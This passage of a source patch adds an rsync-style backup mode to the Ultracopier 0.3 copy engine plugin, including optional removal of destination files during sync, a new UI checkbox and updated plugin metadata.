- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("skipped because already inode = 0 and transfer is running: %1").arg(currentActionToDoInode.folder.absoluteFilePath()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("launch rmpath: %1").arg(currentActionToDoInode.folder.absoluteFilePath()));
-- rmPathQueue.addPath(currentActionToDoInode.folder.absoluteFilePath());
-+ rmPathQueue.addPath(currentActionToDoInode.folder.absoluteFilePath(),false);
- currentActionToDoInode.isRunning=true;
- numberOfInodeOperation++;
- if(numberOfInodeOperation>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/RmPath.cpp Rsync/RmPath.cpp
---- Ultracopier-0.3/RmPath.cpp 2012-06-29 22:37:41.715716675 +0200
-+++ Rsync/RmPath.cpp 2012-06-29 22:42:25.105711780 +0200
-@@ -16,12 +16,12 @@
- wait();
- }
-
--void RmPath::addPath(const QString &path)
-+void RmPath::addPath(const QString &path,const bool &toSync)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+path);
- if(stopIt)
- return;
-- emit internalStartAddPath(path);
-+ emit internalStartAddPath(path,toSync);
- }
-
- void RmPath::skip()
-@@ -38,7 +38,7 @@
-
- void RmPath::run()
- {
-- connect(this,SIGNAL(internalStartAddPath(QString)),this,SLOT(internalAddPath(QString)),Qt::QueuedConnection);
-+ connect(this,SIGNAL(internalStartAddPath(QString,bool)),this,SLOT(internalAddPath(QString,bool)),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartDoThisPath()),this,SLOT(internalDoThisPath()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartSkip()),this,SLOT(internalSkip()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartRetry()),this,SLOT(internalRetry()),Qt::QueuedConnection);
-@@ -50,23 +50,63 @@
- if(waitAction || pathList.isEmpty())
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+pathList.first());
-- if(!rmpath(pathList.first()))
-+ if(!toSyncList.first())
- {
-- if(stopIt)
-+ if(!rmpath(pathList.first(),false))
-+ {
-+ if(stopIt)
-+ return;
-+ waitAction=true;
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to remove the folder: "+pathList.first());
-+ emit errorOnFolder(pathList.first(),tr("Unable to remove the folder"));
- return;
-- waitAction=true;
-- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to remove the folder: "+pathList.first());
-- emit errorOnFolder(pathList.first(),tr("Unable to remove the folder"));
-- return;
-+ }
-+ }
-+ else
-+ {
-+ if(QFileInfo(pathList.first()).isDir())
-+ {
-+ if(!rmpath(pathList.first(),true))
-+ {
-+ if(stopIt)
-+ return;
-+ waitAction=true;
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to remove the folder: "+pathList.first());
-+ emit errorOnFolder(pathList.first(),tr("Unable to remove the folder"));
-+ return;
-+ }
-+ }
-+ else if(!rmfile(pathList.first()))
-+ {
-+ if(stopIt)
-+ return;
-+ waitAction=true;
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to remove the file: "+pathList.first());
-+ emit errorOnFolder(pathList.first(),tr("Unable to remove the file"));
-+ return;
-+ }
- }
- pathList.removeFirst();
-+ toSyncList.removeFirst();
- emit firstFolderFinish();
- checkIfCanDoTheNext();
- }
-
-+bool RmPath::rmfile(QString filePath)
-+{
-+ QFile file(filePath);
-+ if(!file.remove())
-+ {
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to remove the file: "+file.fileName()+", error: "+file.errorString());
-+ return false;
-+ }
-+ else
-+ return true;
-+}
-+
- /** remplace QDir::rmpath() because it return false if the folder not exists
- and seam bug with parent folder */
--bool RmPath::rmpath(const QDir &dir)
-+bool RmPath::rmpath(const QDir &dir,const bool &toSync)
- {
- if(!dir.exists())
- return true;
-@@ -77,28 +117,40 @@
- QFileInfo fileInfo(list.at(i));
- if(!fileInfo.isDir())
- {
-- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"found a file: "+fileInfo.fileName());
-- allHaveWork=false;
-+ if(toSync)
-+ {
-+ if(!rmfile(fileInfo.absoluteFilePath()))
-+ {
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to remove a file: "+fileInfo.fileName());
-+ allHaveWork=false;
-+ }
-+ }
-+ else
-+ {
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"found a file: "+fileInfo.fileName());
-+ allHaveWork=false;
-+ }
- }
- else
- {
- //return the fonction for scan the new folder
-- if(!rmpath(dir.absolutePath()+'/'+fileInfo.fileName()+'/'))
-+ if(!rmpath(dir.absolutePath()+'/'+fileInfo.fileName()+'/',toSync))
- allHaveWork=false;
- }
- }
- if(!allHaveWork)
-- return allHaveWork;
-+ return false;
- allHaveWork=dir.rmdir(dir.absolutePath());
- if(!allHaveWork)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to remove the folder: "+dir.absolutePath());
- return allHaveWork;
- }
-
--void RmPath::internalAddPath(const QString &path)
-+void RmPath::internalAddPath(const QString &path,const bool &toSync)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+path);
- pathList << path;
-+ toSyncList << toSync;
- if(!waitAction)
- checkIfCanDoTheNext();
- }
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/RmPath.h Rsync/RmPath.h
---- Ultracopier-0.3/RmPath.h 2012-03-19 17:34:43.572371290 +0100
-+++ Rsync/RmPath.h 2012-06-29 22:36:02.135718395 +0200
-@@ -24,11 +24,11 @@
- explicit RmPath();
- ~RmPath();
- /// \brief add new path to remove
-- void addPath(const QString &path);
-+ void addPath(const QString &path,const bool &toSync);
- signals:
- void errorOnFolder(const QFileInfo &,const QString &);
- void firstFolderFinish();
-- void internalStartAddPath(const QString &path);
-+ void internalStartAddPath(const QString &path,const bool &toSync);
- void internalStartDoThisPath();
- void internalStartSkip();
- void internalStartRetry();
-@@ -42,12 +42,14 @@
- bool stopIt;
- bool skipIt;
- QStringList pathList;
-+ QList<bool> toSyncList;
- void checkIfCanDoTheNext();
- QDir dir;
-- bool rmpath(const QDir &dir);
-+ bool rmpath(const QDir &dir,const bool &toSync);
-+ bool rmfile(QString filePath);
- private slots:
- void internalDoThisPath();
-- void internalAddPath(const QString &path);
-+ void internalAddPath(const QString &path,const bool &toSync);
- void internalSkip();
- void internalRetry();
- };
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/TransferThread.cpp Rsync/TransferThread.cpp
---- Ultracopier-0.3/TransferThread.cpp 2012-06-29 15:58:31.546130402 +0200
-+++ Rsync/TransferThread.cpp 2012-06-29 18:58:24.095943961 +0200
-@@ -26,6 +26,7 @@
- alwaysDoFileExistsAction= FileExists_NotSet;
- readError = false;
- writeError = false;
-+ rsync = false;
- this->mkpathTransfer = mkpathTransfer;
- readThread.setWriteThread(&writeThread);
-
-@@ -278,7 +279,7 @@
- {
- //check if destination exists
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] overwrite: "+QString::number(fileExistsAction)+", always action: "+QString::number(alwaysDoFileExistsAction));
-- if(alwaysDoFileExistsAction==FileExists_Overwrite || readError || writeError)
-+ if(alwaysDoFileExistsAction==FileExists_Overwrite || rsync || readError || writeError)
- return false;
- if(destinationInfo.exists())
- {
-@@ -1124,6 +1125,12 @@
- emit tryPutAtBottom();
- }
-
-+/// \brief set rsync
-+void TransferThread::setRsync(const bool rsync)
-+{
-+ this->rsync=rsync;
-+}
-+
- void TransferThread::set_osBufferLimit(unsigned int osBufferLimit)
- {
- this->osBufferLimit=osBufferLimit;
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/TransferThread.h Rsync/TransferThread.h
---- Ultracopier-0.3/TransferThread.h 2012-06-26 11:10:54.541994070 +0200
-+++ Rsync/TransferThread.h 2012-06-29 15:54:29.286134585 +0200
-@@ -113,6 +113,8 @@
- qint64 copiedSize();
- /// \brief put the current file at bottom
- void putAtBottom();
-+ /// \brief set rsync
-+ void setRsync(const bool rsync);
-
- void set_osBufferLimit(unsigned int osBufferLimit);
- void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-@@ -166,6 +168,7 @@
- bool readIsClosedVariable;
- bool writeIsClosedVariable;
- bool canBeMovedDirectlyVariable;
-+ bool rsync;
- QByteArray sourceChecksum,destinationChecksum;
- volatile bool stopIt;
- volatile bool canStartTransfer;
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/copyEngine.cpp Rsync/copyEngine.cpp
---- Ultracopier-0.3/copyEngine.cpp 2012-06-26 14:14:40.892116001 +0200
-+++ Rsync/copyEngine.cpp 2012-06-29 21:22:50.945794251 +0200
-@@ -186,6 +186,7 @@
- connect(ui->keepDate, SIGNAL(toggled(bool)), &threadOfTheTransfer, SLOT(setKeepDate(bool)));
- connect(ui->blockSize, SIGNAL(valueChanged(int)), &threadOfTheTransfer, SLOT(setBlockSize(int)));*/
- connect(ui->autoStart, SIGNAL(toggled(bool)), this, SLOT(setAutoStart(bool)));
-+ connect(ui->rsync, SIGNAL(toggled(bool)), this, SLOT(setRsync(bool)));
- connect(ui->checkBoxDestinationFolderExists, SIGNAL(toggled(bool)), this, SLOT(setCheckDestinationFolderExists(bool)));
- uiIsInstalled=true;
- setRightTransfer(doRightTransfer);
-@@ -193,6 +194,7 @@
- setSpeedLimitation(maxSpeed);
- setBlockSize(blockSize);
- setAutoStart(autoStart);
-+ setRsync(rsync);
- setCheckDestinationFolderExists(checkDestinationFolderExists);
- set_doChecksum(doChecksum);
- set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
-@@ -216,6 +218,7 @@
- connect(ui->keepDate, SIGNAL(toggled(bool)), this,SLOT(setKeepDate(bool)));
- connect(ui->blockSize, SIGNAL(valueChanged(int)), this,SLOT(setBlockSize(int)));
- connect(ui->autoStart, SIGNAL(toggled(bool)), this,SLOT(setAutoStart(bool)));
-+ connect(ui->rsync, SIGNAL(toggled(bool)), this,SLOT(setRsync(bool)));
- connect(ui->doChecksum, SIGNAL(toggled(bool)), this,SLOT(doChecksum_toggled(bool)));
- connect(ui->checksumIgnoreIfImpossible, SIGNAL(toggled(bool)), this,SLOT(checksumIgnoreIfImpossible_toggled(bool)));
- connect(ui->checksumOnlyOnError, SIGNAL(toggled(bool)), this,SLOT(checksumOnlyOnError_toggled(bool)));
-@@ -505,6 +508,13 @@
- /** \brief give the forced mode, to export/import transfer list */
- void copyEngine::forceMode(const CopyMode &mode)
- {
-+ if(mode==Move)
-+ {
-+ listThread->setRsync(false);
-+ rsync=false;
-+ }
-+ if(uiIsInstalled)
-+ ui->rsync->setEnabled(mode==Copy);
- if(forcedMode)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Mode forced previously"));
-@@ -617,6 +627,19 @@
- listThread->setAutoStart(autoStart);
- }
-
-+/// \brief set rsync
-+void copyEngine::setRsync(const bool rsync)
-+{
-+ this->rsync=rsync;
-+ if(uiIsInstalled)
-+ {
-+ ui->rsync->setChecked(rsync);
-+ ui->rsync->setEnabled(forcedMode && mode==Copy);
-+ ui->label_rsync->setEnabled(forcedMode && mode==Copy);
-+ }
-+ listThread->setRsync(rsync);
-+}
-+
- //set check destination folder
- void copyEngine::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
- {
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/copyEngine.h Rsync/copyEngine.h
---- Ultracopier-0.3/copyEngine.h 2012-06-25 16:50:12.191263770 +0200
-+++ Rsync/copyEngine.h 2012-06-29 15:49:45.856139485 +0200
-@@ -60,6 +60,7 @@
- bool keepDate;
- int blockSize;
- bool autoStart;
-+ bool rsync;
- bool checkDestinationFolderExists;
- FileExistsAction alwaysDoThisActionForFileExists;
- FileErrorAction alwaysDoThisActionForFileError;
-@@ -273,6 +274,8 @@
- void setBlockSize(const int blockSize);
- /// \brief set auto start
- void setAutoStart(const bool autoStart);
-+ /// \brief set rsync
-+ void setRsync(const bool rsync);
- /// \brief set if need check if the destination folder exists
- void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
- /// \brief reset widget
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/copyEngine.pro.user Rsync/copyEngine.pro.user
---- Ultracopier-0.3/copyEngine.pro.user 2012-06-26 15:50:53.722179836 +0200
-+++ Rsync/copyEngine.pro.user 2012-06-29 22:42:24.025711798 +0200
-@@ -1,6 +1,6 @@
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE QtCreatorProject>
--<!-- Written by Qt Creator 2.5.0, 2012-06-26T15:50:53. -->
-+<!-- Written by Qt Creator 2.5.0, 2012-06-29T22:42:24. -->
- <qtcreator>
- <data>
- <variable>ProjectExplorer.Project.ActiveTarget</variable>
-@@ -163,7 +163,113 @@
- <value type="int" key="Qt4ProjectManager.Qt4BuildConfiguration.QtVersionId">2</value>
- <value type="bool" key="Qt4ProjectManager.Qt4BuildConfiguration.UseShadowBuild">true</value>
- </valuemap>
-- <value type="int" key="ProjectExplorer.Target.BuildConfigurationCount">2</value>
-+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.BuildConfiguration.2">
-+ <value type="QString" key="ProjectExplorer.BuildCOnfiguration.ToolChain">ProjectExplorer.ToolChain.Gcc:{d6ee78f7-3364-4f54-a93f-b3c1e2a8c8c9}</value>
-+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.0">
-+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
-+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">qmake</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">QtProjectManager.QMakeBuildStep</value>
-+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibrary">false</value>
-+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibraryAuto">true</value>
-+ <value type="QString" key="QtProjectManager.QMakeBuildStep.QMakeArguments"></value>
-+ <value type="bool" key="QtProjectManager.QMakeBuildStep.QMakeForced">false</value>
-+ </valuemap>
-+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.1">
-+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
-+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">false</value>
-+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments"></value>
-+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
-+ </valuemap>
-+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">2</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Build</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Build</value>
-+ </valuemap>
-+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.1">
-+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
-+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
-+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">true</value>
-+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments">clean</value>
-+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
-+ </valuemap>
-+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">1</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Clean</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Clean</value>
-+ </valuemap>
-+ <value type="int" key="ProjectExplorer.BuildConfiguration.BuildStepListCount">2</value>
-+ <value type="bool" key="ProjectExplorer.BuildConfiguration.ClearSystemEnvironment">false</value>
-+ <valuelist type="QVariantList" key="ProjectExplorer.BuildConfiguration.UserEnvironmentChanges"/>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Qt 5.0.0 (qt-everywhere-opensource-src-5.0.0) Release</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.Qt4BuildConfiguration</value>
-+ <value type="int" key="Qt4ProjectManager.Qt4BuildConfiguration.BuildConfiguration">0</value>
-+ <value type="QString" key="Qt4ProjectManager.Qt4BuildConfiguration.BuildDirectory">/home/user/Desktop/ultracopier/sources/plugins/CopyEngine/copyEngine-build-desktop-Qt_5_0_0__qt-everywhere-opensource-src-5_0_0__Release</value>
-+ <value type="int" key="Qt4ProjectManager.Qt4BuildConfiguration.QtVersionId">3</value>
-+ <value type="bool" key="Qt4ProjectManager.Qt4BuildConfiguration.UseShadowBuild">true</value>
-+ </valuemap>
-+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.BuildConfiguration.3">
-+ <value type="QString" key="ProjectExplorer.BuildCOnfiguration.ToolChain">ProjectExplorer.ToolChain.Gcc:{d6ee78f7-3364-4f54-a93f-b3c1e2a8c8c9}</value>
-+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.0">
-+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
-+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">qmake</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">QtProjectManager.QMakeBuildStep</value>
-+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibrary">false</value>
-+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibraryAuto">true</value>
-+ <value type="QString" key="QtProjectManager.QMakeBuildStep.QMakeArguments"></value>
-+ <value type="bool" key="QtProjectManager.QMakeBuildStep.QMakeForced">false</value>
-+ </valuemap>
-+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.1">
-+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
-+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">false</value>
-+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments"></value>
-+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
-+ </valuemap>
-+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">2</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Build</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Build</value>
-+ </valuemap>
-+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.1">
-+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
-+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
-+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">true</value>
-+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments">clean</value>
-+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
-+ </valuemap>
-+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">1</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Clean</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Clean</value>
-+ </valuemap>
-+ <value type="int" key="ProjectExplorer.BuildConfiguration.BuildStepListCount">2</value>
-+ <value type="bool" key="ProjectExplorer.BuildConfiguration.ClearSystemEnvironment">false</value>
-+ <valuelist type="QVariantList" key="ProjectExplorer.BuildConfiguration.UserEnvironmentChanges"/>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Qt 5.0.0 (qt-everywhere-opensource-src-5.0.0) Debug</value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
-+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.Qt4BuildConfiguration</value>
-+ <value type="int" key="Qt4ProjectManager.Qt4BuildConfiguration.BuildConfiguration">2</value>
-+ <value type="QString" key="Qt4ProjectManager.Qt4BuildConfiguration.BuildDirectory">/home/user/Desktop/ultracopier/sources/plugins/CopyEngine/copyEngine-build-desktop-Qt_5_0_0__qt-everywhere-opensource-src-5_0_0__Debug</value>
-+ <value type="int" key="Qt4ProjectManager.Qt4BuildConfiguration.QtVersionId">3</value>
-+ <value type="bool" key="Qt4ProjectManager.Qt4BuildConfiguration.UseShadowBuild">true</value>
-+ </valuemap>
-+ <value type="int" key="ProjectExplorer.Target.BuildConfigurationCount">4</value>
- <valuemap type="QVariantMap" key="ProjectExplorer.Target.DeployConfiguration.0">
- <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.0">
- <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">0</value>
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/factory.cpp Rsync/factory.cpp
---- Ultracopier-0.3/factory.cpp 2012-06-26 14:10:39.972113336 +0200
-+++ Rsync/factory.cpp 2012-06-29 15:40:43.606148853 +0200
-@@ -35,6 +35,7 @@
- connect(ui->keepDate, SIGNAL(toggled(bool)), this,SLOT(setKeepDate(bool)));
- connect(ui->blockSize, SIGNAL(valueChanged(int)), this,SLOT(setBlockSize(int)));
- connect(ui->autoStart, SIGNAL(toggled(bool)), this,SLOT(setAutoStart(bool)));
-+ connect(ui->rsync, SIGNAL(toggled(bool)), this,SLOT(setRsync(bool)));
- connect(ui->doChecksum, SIGNAL(toggled(bool)), this,SLOT(doChecksum_toggled(bool)));
- connect(ui->checksumIgnoreIfImpossible, SIGNAL(toggled(bool)), this,SLOT(checksumIgnoreIfImpossible_toggled(bool)));
- connect(ui->checksumOnlyOnError, SIGNAL(toggled(bool)), this,SLOT(checksumOnlyOnError_toggled(bool)));
-@@ -71,6 +72,7 @@
- realObject->setKeepDate( optionsEngine->getOptionValue("keepDate").toBool());
- realObject->setBlockSize( optionsEngine->getOptionValue("blockSize").toInt());
- realObject->setAutoStart( optionsEngine->getOptionValue("autoStart").toBool());
-+ realObject->setRsync( optionsEngine->getOptionValue("rsync").toBool());
- realObject->on_comboBoxFolderColision_currentIndexChanged(ui->comboBoxFolderColision->currentIndex());
- realObject->on_comboBoxFolderError_currentIndexChanged(ui->comboBoxFolderError->currentIndex());
- realObject->setCheckDestinationFolderExists( optionsEngine->getOptionValue("checkDestinationFolder").toBool());
-@@ -123,6 +125,7 @@
- KeysList.append(qMakePair(QString("keepDate"),QVariant(true)));
- KeysList.append(qMakePair(QString("blockSize"),QVariant(1024)));//1024KB as default
- KeysList.append(qMakePair(QString("autoStart"),QVariant(true)));
-+ KeysList.append(qMakePair(QString("rsync"),QVariant(true)));
- KeysList.append(qMakePair(QString("folderError"),QVariant(0)));
- KeysList.append(qMakePair(QString("folderColision"),QVariant(0)));
- KeysList.append(qMakePair(QString("checkDestinationFolder"),QVariant(true)));
-@@ -151,6 +154,7 @@
- ui->keepDate->setChecked(optionsEngine->getOptionValue("keepDate").toBool());
- ui->blockSize->setValue(optionsEngine->getOptionValue("blockSize").toUInt());
- ui->autoStart->setChecked(optionsEngine->getOptionValue("autoStart").toBool());
-+ ui->rsync->setChecked(optionsEngine->getOptionValue("rsync").toBool());
- ui->comboBoxFolderError->setCurrentIndex(optionsEngine->getOptionValue("folderError").toUInt());
- ui->comboBoxFolderColision->setCurrentIndex(optionsEngine->getOptionValue("folderColision").toUInt());
- ui->checkBoxDestinationFolderExists->setChecked(optionsEngine->getOptionValue("checkDestinationFolder").toBool());
-@@ -287,6 +291,15 @@
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
- }
-+
-+void Factory::setRsync(bool rsync)
-+{
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
-+ if(optionsEngine!=NULL)
-+ optionsEngine->setOptionValue("rsync",rsync);
-+ else
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-+}
-
- void Factory::newLanguageLoaded()
- {
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/factory.h Rsync/factory.h
---- Ultracopier-0.3/factory.h 2012-05-19 15:44:05.354039716 +0200
-+++ Rsync/factory.h 2012-06-29 15:40:20.016149261 +0200
-@@ -71,6 +71,7 @@
- void setKeepDate(bool keepDate);
- void setBlockSize(int blockSize);
- void setAutoStart(bool autoStart);
-+ void setRsync(bool rsync);
- void showFilterDialog();
- void sendNewFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
- void doChecksum_toggled(bool);
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/informations.xml Rsync/informations.xml
---- Ultracopier-0.3/informations.xml 2012-06-25 17:31:49.331291383 +0200
-+++ Rsync/informations.xml 2012-06-29 15:11:53.696178734 +0200
-@@ -1,7 +1,7 @@
- <?xml version="1.0" encoding="UTF-8"?>
- <package>
-- <title xml:lang="en"><![CDATA[Copy engine of Ultracopier 0.3]]></title><!-- english is required -->
-- <title xml:lang="fr"><![CDATA[Moteur de copie d'ultracopier 0.3]]></title>
-+ <title xml:lang="en"><![CDATA[Rsync copy engine]]></title><!-- english is required -->
-+ <title xml:lang="fr"><![CDATA[Moteur de copie rsync]]></title>
- <!-- What kind of plugin this is -->
- <category>CopyEngine</category>
- <!-- Who wrote this plugin -->
-@@ -14,12 +14,12 @@
- <!-- the architecture code of this plugin, found PlatformMacro.h into ultracopier source -->
- <architecture>linux-x86_64-pc</architecture>
- <!-- Detailed description -->
-- <description xml:lang="en"><![CDATA[Copy engine of Ultracopier 0.3, do in Qt for all platform, and copy by stream]]></description>
-- <description xml:lang="fr"><![CDATA[Moteur de copie d'ultracopier 0.3, fait en Qt pour toutes les plateformes, et copie par stream]]></description>
-+ <description xml:lang="en"><![CDATA[Rsync copy engine, variant of the official copy engine to provide simple way to do backups]]></description>
-+ <description xml:lang="fr"><![CDATA[Moteur de copie rsync, variante du moteur de copie officiel pour fournir une maniére simple de faire des backups]]></description>
- <!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.10</version>
- <!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
-- <name>Ultracopier-0.3</name>
-+ <name>Rsync</name>
- <!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
- <dependencies><![CDATA[
- >=ultracopier-0.3.0.10
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/options.ui Rsync/options.ui
---- Ultracopier-0.3/options.ui 2012-06-20 14:56:21.509908805 +0200
-+++ Rsync/options.ui 2012-06-29 22:15:47.595739375 +0200
-@@ -6,8 +6,8 @@
- <rect>
- <x>0</x>
- <y>0</y>
-- <width>356</width>
-- <height>376</height>
-+ <width>354</width>
-+ <height>399</height>
- </rect>
- </property>
- <layout class="QGridLayout" name="gridLayout">
-@@ -122,7 +122,7 @@
- <item row="6" column="2">
- <widget class="QCheckBox" name="checkBoxDestinationFolderExists"/>
- </item>
-- <item row="7" column="0" colspan="3">
-+ <item row="8" column="0" colspan="3">
- <widget class="QGroupBox" name="groupBox">
- <property name="title">
- <string>Checksum</string>
-@@ -175,24 +175,24 @@
- </layout>
- </widget>
- </item>
-- <item row="8" column="1">
-+ <item row="9" column="1">
- <widget class="QLabel" name="label_3">
- <property name="text">
- <string>Enable OS buffer</string>
- </property>
- </widget>
- </item>
-- <item row="8" column="2">
-+ <item row="9" column="2">
